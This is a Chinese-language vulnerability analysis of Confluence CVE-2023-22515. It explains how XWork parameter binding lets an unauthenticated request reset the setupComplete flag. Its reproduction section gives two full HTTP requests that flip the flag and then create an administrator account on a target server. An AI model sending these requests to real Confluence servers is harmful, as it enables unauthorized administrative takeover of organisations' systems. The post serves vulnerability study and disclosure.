Confluence 属性覆盖导致权限绕过漏洞 (CVE-2023-22515)
Confluence 属性覆盖CVE-2023-22515
漏洞分析
前置知识
Confluence 是一个非常大的 Java 应用程序,基于 Apache Struts 框架构建。作为其中的一部分,XWork2 使用了该框架。XWork 框架允许通过 HTTP 请求中提供的 HTTP 参数来设置 Java 对象的参数
例如在程序中,调用了方法:getFormData().setName("Charles")
通过XWork进行http发送,就是:formData.name=Charles
如果getFormData()
返回 null,则使用默认构造器,再用setFormDat(Object object)
进行设置
流程分析
先从正常初始化创建admin
权限用户入手,正常初始化admin
权限的用户数据包如下:
1 |
|
当将此数据包发送给服务端后,首先会来到SetupCheckInterceptor
拦截器,触发intercept()
方法:
可以看到这里是做了判断。如果两条红色语句与
的结果为True则返回"alreadysetup"
否则调用actionInvocation.invoke()
。
那我们先来将这段代码按颜色分为前后两部分解释一下每条语句的含义:
前半部分:
BootstrapUtils.getBootstrapManager().isSetupComplete()
和ContainerManager.isContainerSetup()
用于检查 Confluence 是否进行设置;
BootstrapUtils.getBootstrapManager()
返回 DefaultAtlassianBootstrapManager
对象,再调用isSetupComplete()
方法
这里会调用applicationConfig.isSetupComplete()
而isSetupComplete()
又会将全局变量setupComplete
返回;我们看到在下面又有变量setupComplete
的set方法。
也就是说只要我们让SetupComplete
参数为False,那么整体的判断都会为false。(这个参数很重要后续会提到)
后半部分:
而actionInvocation.invoke()
中的actionInvocation
是intercept()
传入的DefaultActionInvocation
所以会调用它当中的invoke方法。而DefaultActionInvocation.invoke()
是一个处理操作执行流程的控制器,它首先处理拦截器,再执行具体操作,最后执行预结果监听器和结果。这里将输入的内容交给SafeParametersInterceptor
。
正常流程BootstrapUtils.getBootstrapManager().isSetupComplete()
与ContainerManager.isContainerSetup()
肯定为False。省略掉中间无用部分,最后来到验证用户(这里的验证逻辑是与现有用户进行匹配是否重名)验证成功后便可创建。
创建admin
权限的用户:
以上就是我们在初始化时创建用户的正常流程。那漏洞到底时如何产生的呢?还需要回归到我们的第一步。
在了解上面的正常流程后,我们可以这么简单认为。只要前半红色部分有一个为False,那么就会执行actionInvocation.invoke()
也就是相当于创建用户。所以我们的主要思路还是放在如何让前半部分的两条语句任一变为False。
前置知识中提到了,XWorks 允许 以HTTP的形式调用对象的setter 方法。
所以我们此时需要寻找一个无需授权、Action对象还公开一个合适的get方法、该方法允许我们访问应用程序配置。
我们找到ConfluenceActionSupport
类。在ConfluenceActionSupport
中的getBootstrapStatusProvider
中获取了BootstrapStatusProviderImpl
的实例对象并返回。
我们再跟到BootstrapStatusProviderImpl
,发现该实例对象存在getApplicationConfig
方法,而且有对应返回值。
而在ApplicationConfig
的实例对象中存在setSetupComplete
,当中的参数SetupComplete
就是我们在开始的时候分析的对初始判断起决定性作用的的参数。
详细的调用栈如下:
1 |
|
故转换成HTTP格式如下:
1 |
|
漏洞复现
先覆盖目标Confluence服务器中的
bootstrapStatusProvider.applicationConfig.setupComplete
属性:1
2
3
4
5
6
7
8
9GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: 10.65.14.146:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Connection: close
Cache-Control: max-age=0然后新建管理员账户:
1
2
3
4
5
6
7
8
9
10
11
12
13POST /setup/setupadministrator.action HTTP/1.1
Host: 10.65.14.146:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
X-Atlassian-Token: no-check
username=nsfocus&fullName=nsfocus&email=nsfocus%40nsfocus.org&password=nsfocus&confirm=nsfocus&setup-next-button=Next查看用户目录发现添加成功。
登录直接为admin权限的用户:
上传对比测试!!